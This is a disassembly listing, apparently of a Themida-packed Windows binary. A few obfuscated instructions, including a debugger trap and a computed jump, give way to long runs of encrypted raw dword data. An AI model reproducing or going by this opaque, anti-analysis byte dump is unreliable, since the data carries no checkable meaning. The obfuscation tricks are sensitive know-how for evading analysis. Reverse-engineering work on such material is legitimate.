		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58E30C
; ---------------------------------------------------------------------------
		db 0E6h
; ---------------------------------------------------------------------------
		mov	esi, 0B780124Fh
		pop	esp
		int	3		; Trap to Debugger
		pop	ss
		pop	es
		adc	ebp, ecx
		mov	eax, 61AAAF6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 457A22F7h, 56ECF749h, 1C720F7Bh, 74F5A66Ch, 373C738Eh
		dd 356A2407h, 237040AEh, 1CB237B4h, 2F1C9247h, 168863CDh
		dd 2B53EBEh, 31E9h, 33E07A00h, 0Ch, 0C51C5700h,	6148434Ah
		dd 0A5ADF936h, 528C88A7h, 0B7FB75h, 0ADF99CBEh,	89937EE5h
		dd 0F4C7009Dh, 6063921Dh, 0DE19h, 11E90000h, 6800000Bh
		dd 61AAD16h, 0FAD239E9h, 0AE3468FFh, 2FE9061Ah,	68FFFAD2h
		dd 61AAF62h, 0FAD225E9h, 0B00A68FFh, 1BE9061Ah,	68FFFAD2h
		dd 61AB0F5h, 0FAD211E9h, 0B1E568FFh, 7E9061Ah, 68FFFAD2h
		dd 61AB289h, 0FAD1FDE9h, 0B47D68FFh, 0F3E9061Ah, 68FFFAD1h
		dd 61AB57Eh, 0FAD1E9E9h, 0C0308EFFh, 0B7BFE35h,	0C838B56Ah
		dd 272F62Dh, 0CE3EBC73h, 883B7027h, 44DBBA2Ah, 8DA273E3h
		dd 49D6BF2Fh, 289B7AEAh, 5E7A9F26h, 8001169Ch, 0DB0BABBCh
		dd 9E1E4003h, 0B2DF16A1h, 57D6DD4Dh, 0BDF6C8E7h, 2327CE3Eh
		dd 5E478A39h, 1526169Ch, 3F2B9B1Eh, 4E0971D2h, 0CD0DDD1Ch
		dd 8AA7B798h, 65CFBB2Bh, 0EBF323D3h, 0BB4C1358h, 0B5899A10h
		dd 97FF7Ch, 0F13B9F41h,	0A41471A2h, 0E3B29D72h,	1A225E77h
		dd 9B7304C3h, 51C142EFh, 0F323D365h, 12C6EAEBh,	44B3ADE7h
		dd 0E93590A6h, 8C1AA992h, 5273E2BBh, 4E68ABA0h,	957E6h
		dd 4CBC3A00h, 87F77AA9h, 54C441EEh, 9E0E72C1h, 5ACA28F7h
		dd 0F4AFDCBBh, 0C06F0676h, 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h
		dd 5FC60BBAh, 0E4A5169Ch, 57C72458h, 81F1525Fh,	0C2F2C6F4h
		dd 73D1E2FCh, 1D3A1303h, 86ED9C7Eh, 4E6D1D4Bh, 169BAF1Ah
		dd 0AC335481h, 397498D2h, 640676FAh, 0D0336334h, 1693BB8Dh
		dd 3910BF7Ah, 9DBD66B4h, 333Ch,	0C3417200h, 41726353h
		dd 0DF4C6858h, 0A0947659h, 3DB0BABh, 9BF5F040h,	7ABC8D16h
		dd 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h, 0CD839Dh,	78B90000h
		dd 3BDF8BFBh, 8757C724h, 0F2ABEE55h, 41521086h,	0F4766BA9h
		dd 22A19284h, 0C6F84B2h, 8CBCF99Ch, 0C41086F6h,	111EF767h
		dd 627C42B2h, 0C67FEF51h, 1086F683h, 83B1596Ah,	4D1141F5h
		dd 9C01D276h, 2A999B16h, 1693E5E7h, 0FF7EB586h,	0E5D5A08Fh
		dd 0D4DDE111h, 0DEAFE757h, 8E252D5h, 8BAC8F36h,	0FACB108Bh
		dd 0FB6BCFE4h, 7F03301Ah, 5436070Fh, 1AE353D7h,	0B1BE31A5h
		dd 39B83C3Ah, 58000008h, 98876EDEh, 57CCA919h, 0A08F66D6h
		dd 4EE5B020h, 2997CECh,	24941689h, 0ED5DE251h, 29991B08h
		dd 0E454D74Ch, 2D98C611h, 169C5CE4h, 4F360687h,	296DDD62h
		dd 0F575B654h, 0C043F085h, 44F2A958h, 5E71C934h, 5ECE3380h
		dd 0AB5BE1ACh, 0D903DB0Bh, 86F2276Ah, 15F5C610h, 0CC381D3Fh
		dd 92AA61FEh, 3602A149h, 47169BEEh, 0ED9BBE85h,	51621693h
		dd 5D56387Eh, 63296DDDh, 93EDB9E0h, 5C734416h, 0EDCE0FAEh
		dd 0B71693h, 38F17CCDh,	0D6779DBDh, 93000000h, 5F57C724h
		dd 964F052h, 8FA09D99h,	0F6FC2C87h, 77F41086h, 0EBEC6E07h
		dd 117A9B0h, 41F29837h,	7A6452C2h, 4CB8E164h, 0C4DA1086h
		dd 0DC02E57Dh, 74162799h, 744A7A3Eh, 88D1746Ah,	73108613h
		dd 35DDC8A2h, 0B8169CE4h, 0D005D7E7h, 0CB106AEDh, 96BB6A7Dh
		dd 0EC1693B1h, 0EA7FE42Eh, 3E0FB140h, 0AE7CA520h, 2EFF1693h
		dd 0B589313Ch, 0B2A3B985h, 99B7B616h, 6B5A30E1h, 108B24AFh
		dd 50617D4Eh, 0CB808AF2h, 9B040829h, 0F052E1B4h, 4B7EFD80h
		dd 4F65B1BDh, 70BF3h, 0B8288600h, 73E346DDh, 0C0308DA2h
		dd 0A7AFE35h, 0C636B46Bh, 8033782Fh, 2C039202h,	65BA5BCBh
		dd 31FE9707h, 409362D2h, 5D62A71Eh, 8809169Ch, 3AC624B4h
		dd 8B6A45B5h, 0CEA71794h, 57C7246Ah, 65587D5Fh,	288888B3h
		dd 3FBC6D1Dh, 262267DEh, 0F8C91086h, 6D3E7EDFh,	0E8C7DAFCh
		dd 1465A80Dh, 3E021086h, 5D95300Eh, 2016A178h, 81022F0Fh
		dd 4CAF8411h, 0B050DADCh, 93A0BE80h, 70D3C030h,	873B6A00h
		dd 46108067h, 0CF76D759h, 1CB6678Ah, 878FA071h,	0A8A9A1B6h
		dd 432EAA54h, 0DD0C916Ch, 0D9DBB1BAh, 66359h, 60D02E00h
		dd 0AB1B9E95h, 68D855CAh, 0A212968Dh, 6EDE5CD3h, 289B1087h
		dd 64BB5ACAh, 2D029303h, 69B65FCFh, 0C8FB9A0Ah,	421A3F06h
		dd 20E1169Ch, 57C7241Ch, 0B8347D5Fh, 0C5804E48h, 1086F29Ch
		dd 89614E5Fh, 7BBB2B88h, 0A3930366h, 77BF2F8Eh,	0CE248BFEh
		dd 86F2D2F7h, 0A7889910h, 0E3E4CBC2h, 9025F060h, 97A81A2Dh
		dd 0ED348FCDh, 901086FEh, 76FCBBFh, 4B000000h, 19CB5h
		dd 97B6D100h, 501086F2h, 0ED348FB0h, 901086F2h,	0F2D2F7CEh
		dd 88991086h, 0FB688A7h, 16A19EE0h, 0A6B88697h,	7ABC2C8Dh
		dd 0B59A0A69h, 0DAA353A2h, 97736572h, 95A9199Ah, 6BD1E9Ch
		dd 169C6AC3h, 0D4B699AAh, 99096AB9h, 334D90C5h,	31BF94F0h
		dd 0A94DDB59h, 3A776579h, 724B4BBBh, 77752D98h,	27F81081h
		dd 0BB6DBF56h, 9A1A1CB1h
		db 78h,	5
word_5D4B22	dw 0			; DATA XREF: Themida_:0057C15Co
		dd 482D9D19h, 0FE656DBh, 6035A520h, 18FD6DD3h, 5E37A70Bh
		dd 0EB4F4249h, 22859A7Bh, 0F04CE3B2h, 0BD3EF580h, 2F1FA84Dh
		dd 9C424D94h, 0CD6F3016h, 8757C724h, 0F2ABEE55h, 41521086h
		dd 0F5766BA9h, 0BFF69185h, 0A834B710h, 375AE94Ah, 0B61086F2h
		dd 0F3CCCAE5h, 0F23158EBh, 0EBBC1086h, 42D31C4h, 565535A5h
		dd 97A819D3h, 759h, 0BAB52D00h,	0D1000000h, 6FDF624Fh
		dd 5E58C824h, 6F0F8961h, 7AA41F3Fh, 0FB16A19Eh,	9A1F142Ah
		dd 0B5FE402Ah, 2FC636h,	0A4B1383h, 36489E1h, 8DAAA393h
		dd 1BCF9D34h, 87B787F1h, 34E70CB7h, 0B58610BBh,	0BB2B88A9h
		dd 0C70AB9A3h, 0A61CB3A4h, 8996F595h, 8FA4BA2Ah, 62CCBE2Eh
		dd 0E6F828D8h, 6CB3DFF8h, 0B80A0832h, 0B341C40Dh, 0B996A71Ch
		dd 0B0AAF2D1h, 7A4B1AA9h, 0A03086A3h, 57DBD9ABh, 488h
		dd 583DAD09h, 1FF666CBh, 0B045B510h, 0E88DFD83h, 0AE47B73Bh
		dd 7BFFB2F9h, 32B56A0Bh, 80FC33C2h, 4DAE8510h, 0BF8F38DDh
		dd 9C43DD04h, 5DDFA016h, 73E3624Fh, 4A04A43h, 114h, 0DB0BAB18h
		dd 9E1E4003h, 0CEDF16A1h, 0D040C3F0h, 1D8DEE45h, 0BFEF8F19h
		dd 32DF249Fh, 315E10BBh, 734B64D4h, 4D49B93Eh, 9AC49A70h
		dd 9C0C6FC4h, 0D900A59Ah, 0A41CB3AAh, 0B222A093h, 68D85BD8h
		dd 1570C18Dh, 0E744C5A5h, 0E639C77Fh, 113E47A7h, 0B3E39325h
		dd 4FF418ABh, 0A8791AA9h, 0A097AED5h, 43BFB5ABh, 3E4h
		dd 14E151ADh, 4B2A9A1Fh, 0CE959D4h, 54219117h, 0AEB5BDFh
		dd 1FA31E8Dh, 0D659C6AFh, 24A08F66h, 0F152E1B4h, 0FBE3F481h
		dd 9C400148h, 112BEC16h, 5F57C724h, 9581F152h, 0ED5360F2h
		dd 0BFE2617Dh, 3E1086F2h, 0AB127D6Dh, 0F53E9F1Ch, 3E0F0777h
		dd 86F24287h, 37182910h, 19E6535Eh, 496E97A8h, 4A000000h
		dd 3DB0BABh, 9C41FF40h,	91AD7E16h, 0A9B525A0h, 0BDC910B3h
		dd 0EBB41693h, 84BDAAEEh, 5A301F40h, 9E56763Bh,	7CB51693h
		dd 0A01072FEh, 0CD2EDB8Fh, 0A6BB85Dh, 96FC49Ah,	73A09D99h
		dd 0A4999D0Dh, 39EC48C6h, 0C0000003h, 5E58C824h, 48256770h
		dd 54CDD1C4h, 84299384h, 5A301FE8h, 0D4EA5AD9h,	0FEEC5CDFh
		dd 0D343C06Fh, 56DCEE3h, 23BD6DFEh, 0C0557A33h,	0DC05C09Eh
		dd 9F1086FCh, 2B6DC8Eh,	0CD20CD2h, 86FC1039h, 20CADB10h
		dd 9BF54D85h, 0A1231016h, 9D181E31h, 1693E570h,	0A3930366h
		dd 78BE2E8Eh, 51A10C7Dh, 93E5AFF2h, 527D4E16h, 0BB8E41F8h
		dd 9DBD352Eh, 2CB6h, 0BABD200h,	7A8D73E3h, 0D9F619AFh
		dd 0DE4EAC05h, 9F9B2A2Ch, 9E169BD6h, 0E32A898Dh, 8C1693D4h
		dd 2A8FBA25h, 0B29DBD40h, 0F2h,	5FC72486h, 7AF330F4h, 40765984h
		dd 68D9795Eh, 28E88DD4h, 171D142h, 2F9F1C15h, 1179FAE7h
		dd 73D95932h, 0EE657217h, 70C50D1Eh, 0A4A64F60h, 0B01E09B3h
		dd 0CABF031Eh, 6E865160h, 62664F0Ch, 452A985h, 24643F2Bh
		dd 2C108698h, 69B65FCFh, 0E9C9A0Ah, 2E9E1E6Ah, 0A41F3D01h
		dd 1086807Dh, 42873E00h, 29108680h, 1533718h, 9B86FA42h
		dd 2B8E7B16h, 91827BBBh, 6EFC030h, 0AEB0E0A0h, 8BE9F317h
		dd 0DB87A10h, 1CABEDC4h, 0A5B996A7h, 88F87AB7h,	61D131E2h
		dd 0AB1B9F94h, 0BDD5A9D2h, 3CB8BEB1h, 1F0h, 0E0B525A1h
		dd 977EEE53h, 0D8BD2D88h, 0A075E54Bh, 0D6BF2F93h, 53D7CAC1h
		dd 9A1D12E3h, 58D44B2Ah, 95160DE8h, 57875025h, 9C46A5ECh
		dd 75C74816h, 0BF56C624h, 0A616969Bh, 570AB491h, 0B95163BAh
		dd 86FFB78h, 8EA19E98h,	0BAB41E7h, 765577E3h, 321D5584h
		dd 9299992Ch, 93A4169Bh, 98FD20A3h, 0B48A1693h,	98F61BAAh
		dd 0A4751693h, 0F199096Fh, 0C73217C6h, 4D9DBD83h, 0CDh
		dd 57C72469h, 80F0525Fh, 85F575BEh, 23A2BC91h, 1086F2FEh
		dd 50BEAC7Dh, 86F6B5F5h, 0C838BB10h, 0E975F62Dh, 2341B8Bh
		dd 0C698C878h, 9BF03FFFh, 516D3E16h, 4670E060h,	7BEB4A49h
		dd 0CDA8423Bh, 0D5E919DDh, 8B9EC56Eh, 794C1210h, 1CAA5C50h
		dd 91340A1Bh, 1CAA5C48h, 18886233h, 0C253707h, 68A941B1h
		dd 4FFB9A0Ah, 4670E062h, 1270A149h, 5CCF12B1h, 9DAE1CAAh
		dd 46ACEBB2h, 0C5AFB1BEh, 0EF3Dh, 0B424A200h, 7FEF52E1h
		dd 0BC2C8996h, 76E64AD9h, 0C232909Fh, 7C377433h, 38E78EFEh
		dd 81AE47B7h, 2D029303h, 0CB75ECEh, 475E8342h, 5C1D169Ch
		dd 3AC624E0h, 734C4ABAh, 0E95C825Ch, 1086F2A0h,	5907A4Bh
		dd 0B85DCD2Eh, 57C72474h, 81F1525Fh, 84F474BDh,	5F1F87E6h
		dd 0E44D0F2Fh, 2F201686h, 751585E4h, 0A19E3946h, 0CFEFC016h
		dd 0DC0DDD06h, 0D4B6772Fh, 7AEA495Ah, 0B727849Bh, 0CFD047Fh
		dd 9701CAAh, 3192F1D6h,	0C56C4F92h, 992C2E00h, 0C56C70h
		dd 2A052AFBh, 0CB57D44Bh, 0C3BCFA6Ah, 37B9AAECh, 35BAF7C7h
		dd 0FAE725C5h, 170C0A7Ah, 93F42292h, 0B010B726h, 56795640h
		dd 0DB17C66Fh, 0E387CDFAh, 0C5303960h, 0E4F3C400h, 0C0AAD133h
		dd 0BE80F053h, 4E1BDF99h, 9E4C95B5h, 7BE360CFh,	0BEB457F5h
		dd 0FE3817BCh, 376h, 4B2F9200h,	5C5ACA24h, 4274E447h, 3363D331h
		dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h
		dd 3C7AEA4Fh, 4EC8178h,	89000000h, 0BD552424h, 4, 4246C01h
		dd 0E389535Dh, 4C381h, 0EB810000h, 4, 5C241C87h, 50240C89h
		dd 405E089h, 2D000000h,	4, 5C240487h, 68243489h, 61AAC6Ah
		dd 81240C8Bh, 4C4h, 348B5400h, 4C48324h, 6685352h, 5B2A1842h
		dd 0BE02C381h, 0DA89D5E7h, 89F2015Bh, 348B5A0Ah, 0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch, 4C48159h
		dd 0E9000000h, 0FFFAC736h, 7B77AD4Ah, 1AB692B8h, 0FFC50306h
		dd 8AF4CE0h, 8D22BF60h,	0E4D2C429h, 4D6A6F70h, 382B0D28h
		dd 0E4CC8C2Dh, 15F2AF32h, 0C85BBD25h, 9D401029h, 0B4D6BF25h
		dd 176E7811h, 8878D909h, 6F0A2E10h, 9F24270Ah, 0B90D436Bh
		dd 6CBB9978h, 8B5A3E56h, 56FAC97Eh, 82699D6Fh, 0ADD2D0Fh
		dd 656ECE48h, 50CD2E29h, 578D8E6Bh, 0D132117Eh,	4DBA7612h
		dd 233FE40Eh, 715D3864h, 8E4CAD45h, 328DAD36h, 5E82Fh
		dd 0C8E00000h, 6675DA91h, 4300C981h, 0D981665Ah, 0C28183E8h
		dd 7456h, 13E8h, 0F9882900h, 0C6273B62h, 87C613A3h, 10CB5C84h
		dd 45245BBDh, 3359E1B3h, 0C8D0FF6h, 0F000000h, 689h, 8C0F00h
		dd 0FF000000h, 0B9661634h, 815F9F20h, 37E0BFEFh, 0F1816607h
		dd 0EF81DEEDh, 23D04C5Ah, 0C1B70F53h, 24F7815Bh, 0E9386D23h
		dd 0Dh,	0E9FD14Ch, 2673F002h, 622A70E5h, 323C894Eh, 9EAEBB66h
		dd 0BE9h, 0FFA73300h, 409266E1h, 0E3F93BCCh, 64ACEE81h
		dd 0C6811E86h, 1E8664A8h, 0FE81CA8Bh, 0FFFF8C54h, 0FF99850Fh
		dd 0C68BFFFFh, 0CE8h, 256F0C00h, 7111E325h, 0F10CA10Ch
		dd 19830F93h, 0E8000000h, 12h, 0D126D72Fh, 75D90191h, 0EEAD8B2Eh
		dd 0CC26D8F9h, 5AF84CA1h, 81F78B5Bh, 5B8BC3h, 98B9F500h
		dd 0F9000016h, 8B0F33FFh, 2, 8158F38Bh,	1D4895DEh, 3FC08140h
		dd 0E93A8EFAh, 0Bh, 48B614C5h, 31CC96C4h, 81FCB219h, 4428BEE8h
		dd 66BF6641h, 66C0811Eh, 0E842B9D5h, 11h, 0FC6515CDh, 0D328A058h
		dd 4F2E7163h, 98C6702h,	3840FD9h, 0F000000h, 505AFAB7h
		dd 13E9h, 663CC500h, 0E55A3607h
		dd 9500E97Ch, 747E228Bh, 14A014FFh, 0F98B038Fh,	30BEB81h
		dd 6FBA354Bh, 8132E1E3h, 4B0307C3h, 0CE935h, 4AB20000h
		dd 43A1CD50h, 42AB9233h, 0E981B512h, 1,	39850Fh, 12E80000h
		dd 24000000h, 4C5C3757h, 85EE2C5h, 52CBD6C5h, 0CA55E1ECh
		dd 0AE917h, 695D0000h, 0DE1E1915h, 9A3DD322h, 26E95Ah
		dd 956C0000h, 0E81E5BDFh, 0B676A3FBh, 0E9AD938Ah, 0FFFFFF20h
		dd 8AC2A5C0h, 4655B5E7h, 0E33EF3B2h, 5412BB20h,	4E656FCCh
		dd 16DE9h, 0B59100h, 2F688C29h,	0D34CAA87h, 0E58AC4Fh
		dd 556B508h, 656BF51h, 0D583008h, 26714E51h, 74246638h
		dd 8F707851h, 8BC454D3h, 33B6809Fh, 42140150h, 12851h
		dd 0
		dd 400h, 2 dup(0)
		dd 3300h, 0
		dd 800h, 0
		dd 73795300h, 6D6574h, 6F725020h, 73736563h, 5Dh, 40h dup(0)
		dd 65E90000h, 68000016h, 61ABCB5h, 0FB8DD7E9h, 0BDBF68FFh
		dd 0CDE9061Ah, 68FFFB8Dh, 61ABE9Ch, 0FB8DC3E9h,	0BF5D68FFh
		dd 0B9E9061Ah, 68FFFB8Dh, 61AC0DBh, 0FB8DAFE9h,	0C29C68FFh
		dd 0A5E9061Ah, 68FFFB8Dh, 61AC36Ch, 0FB8D9BE9h,	0C42268FFh
		dd 91E9061Ah, 68FFFB8Dh, 61AC601h, 0FB8D87E9h, 0C70868FFh
		dd 7DE9061Ah, 68FFFB8Dh, 61AC7CDh, 0FB8D73E9h, 0C86068FFh
		dd 69E9061Ah, 68FFFB8Dh, 61ACA3Ch, 0FB8D5FE9h, 0CF0D68FFh
		dd 55E9061Ah, 68FFFB8Dh, 61ACFEEh, 0FB8D4BE9h, 4A3318FFh
		dd 0E29B8F7Ah, 4C3117E2h, 0E895917Ch, 46371DE8h, 17F1E746h
		dd 0BD484835h, 5C27A9D4h, 0FD880875h, 81196B12h, 23EBAA84h
		dd 0BCA9A724h, 0AF992446h, 581ED7CEh, 322B523Dh, 0FDE9B097h
		dd 10629F9Ah, 28514A14h, 0D3BDD881h, 0B40183AAh, 403EADFCh
		dd 0B352F502h, 845E0732h, 0A728E3D1h, 910B9717h, 0F9476002h
		dd 0ADDD6A13h, 472D6842h, 98F10036h, 36BEC13h, 116C65F0h
		dd 28F36835h, 2D0534A7h, 2A19h,	6CC4AB00h, 8A7F0E1Dh, 0D0AE3BF3h
		dd 0B353E22Ah, 0A9A6BF6Ah, 0EF47361Ch, 29DB4415h, 9A0AA4A7h
		dd 0ECF7891Eh, 0B56D6Bh, 865F0000h, 2AC7DE9Fh, 0A12C3548h
		dd 0B504F1A6h, 0BDCAB39Bh, 0AC85C412h, 0A2D18B5h, 3DF66D2Ch
		dd 33FA2FADh, 0FC015751h, 5C53AD3Dh, 0E9E4AF21h, 2BE0D94h
		dd 0CDA4D9CFh, 6B2605Eh, 37E2B353h, 0AA5B4855h,	0C49B5C8h
		dd 88A728E0h, 803899E1h, 2013C231h, 0E58D445Dh,	8AC56A44h
		dd 36E3AD40h, 57260CB9h, 0D5A88A75h, 787C47Fh, 0B74BC6FAh
		dd 1414h, 0A1235A3Bh, 398BF2D6h, 0A325584Eh, 3F91ECD8h
		dd 0AD1F5E54h, 8C7E980Eh, 0FBF49FF1h, 94770282h, 311CE7E9h
		dd 0A7A47C4Ch, 24228AC7h, 239B0AA7h, 0F7D9A486h, 0A0BDB9AAh
		dd 0FCAD3EDEh, 7F66254Dh, 0C4408EFEh, 300E1D6Ch, 0B353E20Ah
		dd 7904E796h, 0D9D164C1h, 1D54FDA4h, 0DBF79A84h, 2F1A729h
		dd 551D6053h, 3A4FCB57h, 0BE6BECF8h, 0E5h, 0DE9F8610h
		dd 0B2CBC451h, 614702ABh, 0A6CC851Ch, 17C6EFBh,	0E3A67E68h
		dd 3530AD3Eh, 0D2BD4848h, 98913CABh, 15128DE5h,	0C16D3066h
		dd 6AFB6C7h, 678AA049h,	0AA63FA83h, 62DEAB83h, 0FC1A1413h
		dd 64B3539Eh, 0ECA8EFD9h, 667703EFh, 96CFA7CEh,	9B4E1E3h
		dd 8F465F1Eh, 0B94EEAE7h, 29AAA0BDh, 0AFEEC8A7h, 0EDA729AAh
		dd 0FF36E33Ch, 51D016F0h, 9DCCAD41h, 2A0DFF8Eh,	3C4C0D4Ch
		dd 93DA8FADh, 0F7F7E431h, 0AD3C4B5Ah, 2C670F3Ah, 74E13746h
		dd 56FA0741h, 130A079Bh, 50450000h, 0B8B05B2Dh,	4E38C3C5h
		dd 0BAB25D2Fh, 5436C1C3h, 9208A729h, 99EB9278h,	484F9EEh
		dd 99EB9279h, 686F7EEh,	0F8A5A18Eh, 0A4A72421h,	992461B1h
		dd 0E7A6CCB1h, 6D187805h, 4A331782h, 0C974A123h, 0ADD0BCDDh
		dd 0FE34DD84h, 0DE9F868Ch, 0DBDBC8C7h, 0AD3EDEBEh, 48032BDEh
		dd 0E5B0205Dh, 7E0B92EBh, 8996F687h, 0DEFD9C9Ah, 97CBAD3Eh
		dd 35191883h, 0B87EAB74h, 0B9440599h, 0FFB6AFCEh, 8FDE5A37h
		dd 0C0293A0h, 1441F871h, 300E6419h, 0B353C422h,	0D3C0C772h
		dd 0B1B7E6E0h, 34E5A729h, 0E24E00FEh, 16B29EB3h, 644E28C7h
		dd 8CC1B4E4h, 0EC750801h, 0FCD6335Fh, 7AB32E5Eh, 0A7BE6BB4h
		dd 92A1F048h, 0CC739DB4h, 1D0A3FBBh, 88087570h,	0A56B12FDh
		dd 0B977EB2h, 2DFD9108h, 22000012h, 917C4C31h, 19E4E499h
		dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h,	0E39A8F7Ah
		dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7242111h, 86BC1283h
		dd 6617FA9Fh, 7F39960Fh, 9118654Ch, 91A291E8h, 0E8177702h
		dd 185E21F3h, 5334602Eh, 0FBCD7CB3h, 0CB681510h, 4C45543Ah
		dd 0B8813831h, 3088E782h, 526152E1h, 290A2574h,	0D4A9A5A7h
		dd 0AE98DE8Bh, 0AD43C399h, 78052257h, 5203F08Dh, 7559215Ch
		dd 0C3DAA38Ah, 2E4F39C4h, 2A502D23h, 33C00FA9h,	80C29340h
		dd 18E97DD7h, 0FE3FE462h, 0AC5DB349h, 0E6978E3Fh, 49341BE6h
		dd 2675D320h, 0CC6D2D09h, 29AD3Eh, 5E01B1Ch, 72148DFAh
		dd 116Ch, 398BF2E3h, 0A1235A4Eh, 3B8DF0D6h, 0A7295450h
		dd 587F6DCh, 0F4D630A6h, 937C0789h, 0FCEF9AEAh,	89840F81h
		dd 0FFC94F4h, 241F622Fh, 0CB4332A7h, 0F7D9A486h, 909FEE4Ah
		dd 53F6B0B6h, 0AE3DECB3h, 59502D1Fh, 42CFDAA0h,	0A752324Bh
		dd 47A4BDC0h, 0B18D9AE9h, 0AD3ECC69h, 0C9A5B62Dh, 0AD3ECB8Ch
		dd 0B8E56108h, 0E4AD3ECBh, 0AE65FC35h, 0E994903Dh, 536119C0h
		dd 9DE0C7DFh, 730AFF8Eh, 106D5FEAh, 0E199E099h,	99E860EDh
		dd 0E3C69C9Ah, 33E6B353h, 9A903D2Ah, 5008BE3h, 6E64F178h
		dd 2E37462Bh, 1AB7AE87h, 3D1E4736h, 0FDF529B9h,	0FA89036Fh
		dd 18998816h, 0CEBB732Dh, 2A042372h, 0AD3E1934h, 3CC7C970h
		dd 49352C51h, 0AD3E2508h, 4A62D264h, 7DAA1A63h,	4C1906Eh
		dd 901AD3Eh, 0DB44ED74h, 4D30232Eh, 0FE7F6625h,	7B7B6867h
		dd 0AD3E04DEh, 0E6E38BBEh, 12ECFB4Ah, 0B3533144h, 790A2950h
		dd 0CCB60C31h, 1D71C961h, 6C2DD6Eh, 618B38B7h, 8FE026B3h
		dd 0B28C9DD5h, 0AD443F95h, 0F18C7E0Fh, 0B09DFF62h, 2258385Dh
		dd 7CAF1445h, 75C28F6Fh, 0A7D2AD2Fh, 0EF8B58E8h, 0BB73DF04h
		dd 0BAE39A90h, 2F4FADE0h, 0A6F553ADh, 982AD89h,	0F9EAB34Ah
		dd 8E17664Ch, 0A93E5BE7h, 0AB5EA729h, 806F9A83h, 79EDFD5h
		dd 7A0B284Eh, 0EF9AEA93h, 51DC85F8h, 3F2E225Bh,	6DFC10E4h
		dd 0FEE12B4h, 6C610000h, 0DCD4BF11h, 6A642FA1h,	0DEC6B113h
		dd 70622D9Fh, 8EFCBB0Dh, 8DFF7E74h, 20700D02h, 8DFF7E75h
		dd 12720B02h, 0E4B18D7Ah, 0B0A7241Eh, 37244DC5h, 3EDF1A37h
		dd 0A7CF7AADh, 553106ECh, 0AD3EDF08h, 0B8B1CCC2h, 3AF32601h
		dd 91C0BEADh, 3AD3EDEh,	0E5B02056h, 7F0A93EAh, 47F6F588h
		dd 2C513762h, 0ACB57C35h, 97322D05h, 14A1C8B5h,	96465F1Eh
		dd 0B34478ECh, 0B097AF43h, 0B8AF5ECDh, 529DDDDFh, 9BD2871Bh
		dd 0A3234B02h, 1953374h, 79756672h, 0AD3E74DCh,	259BABB8h
		dd 622E6F2Ch, 0B923630Bh, 95000001h, 0C7DE9F86h, 0AD3A432Ah
		dd 4C02631Eh, 78BEDD43h, 1E180B18h, 0AD3E507Fh,	4F18654Bh
		dd 0B977541Ah, 0C5817D6Ah, 0F1B35359h, 14452148h, 0AEA72959h
		dd 0DA8C1BCh, 6C4F5627h, 91265ACAh, 78118D25h, 236BEC70h
		dd 35FD8072h, 6A11h, 6CC4A300h,	362F4E39h, 6EC7B69Bh, 0B84E28C7h
		dd 0C0B353E2h, 0EF949A13h, 2C02A793h, 570600F3h, 73A72998h
		dd 0E25FE7Fh, 5E9E8611h, 37FE3789h, 10270DB8h, 29646736h
		dd 2D0435A7h, 0AAB57D34h, 29647DD0h, 57CB6BA7h,	0C972EDDh
		dd 81AFEEC8h, 3CEDA729h, 0F37580Fh, 96BFC867h, 0B3376BECh
		dd 0EA000000h, 5C05785Bh, 860B7DB5h, 2AC7DE9Fh,	5B63548h
		dd 892D0060h, 2B36FC3Dh, 0CFD6A79Eh, 52324B42h,	3EB60058h
		dd 225B52ADh, 4C9B15A2h, 0DFDFCCDFh, 0AD3EB4B2h, 5FF37E2h
		dd 0B3565C5Fh, 12210E3Bh, 51E2DC81h, 56B09B35h,	0A7279307h
		dd 0F1A09E95h, 0A3A72792h, 7A77BF76h, 3494E9CBh, 361A6349h
		dd 0FC129E21h, 2D0C9E5Bh, 2200000Eh, 917C4C31h,	19E4E499h
		dd 937E4E2Fh, 17E2E29Bh, 0E9484835h, 4A3319F3h,	0E39A8F7Ah
		dd 4A3316E1h, 0E5988F7Ah, 403E2BE3h, 0A7241D11h, 86BC1283h
		dd 0CF7D9A4h, 0EF8E7821h, 7976BF76h, 67A1A0CAh,	8BE35C74h
		dd 99248D3Bh, 7B02E7B2h, 5B022BE2h, 0D6D17CB2h,	8211FEA7h
		dd 0D93759A0h, 0D776BC1Fh, 503B8DF0h, 32812855h, 1BA84796h
		dd 0CE5BCC4h, 42AF8760h, 0D0ADA431h, 0EC5A20D9h, 0B353D9C2h
		dd 0DB837E2h, 0A9505924h, 0B47A03ECh, 79C22D4h,	62F10000h
		dd 87BC3EEBh, 5634FA7Ch, 0D0D9A486h, 3EDEA3F6h,	94E35DADh
		dd 98949797h, 930B359h,	9745BEAh, 6C11FC87h, 5F47F6F5h
		dd 0A8CE871Eh, 0A27607EDh, 0FC1F6B67h, 5D9A2CE5h, 0F200000Dh
		dd 810C7C01h, 0E994F489h, 830E7EFFh, 0E792F28Bh, 99187805h
		dd 9AE3C923h, 136A5F2Ah, 9AE3C6B1h, 15685F2Ah, 10EEDBB3h
		dd 0A7241B41h, 86EC6253h, 0CF7D9A4h, 3ECF5C21h,	852C3548h
		dd 8B5B2ADh, 0EA937D1Ch, 0BB73BA73h, 0C1E89590h, 0B4CC58DEh
		dd 0D7C4C4B9h, 243D4026h, 0DE29D187h, 8BE26233h, 0D2F3A29Ch
		dd 78A1AD3Eh, 0EF5A2FC2h, 129E7201h, 30000000h,	3EEA0B37h
		dd 106D59ADh, 0F599E099h, 0FFFFFD90h, 0DF1637DBh, 4EEAAD3Eh
		dd 0E916F0FFh, 0B7B35997h, 0F0D86582h, 0B944E58Dh, 98E5CBCEh
		dd 2924EFE1h, 0CAC04D54h, 6B2C5DB3h, 0E39EFC1Fh, 0CA73Fh
		dd 0BAC3A800h, 324B3FCAh, 0BCC1A752h, 384541CCh, 0B6C7AD58h
		dd 876157D6h, 0DF8D8A5h, 8C775924h, 0DF8D8A5h, 0B1695B22h
		dd 1A9BBAB4h, 8CF9A724h, 18972436h, 8F1C9963h, 0A0085531h
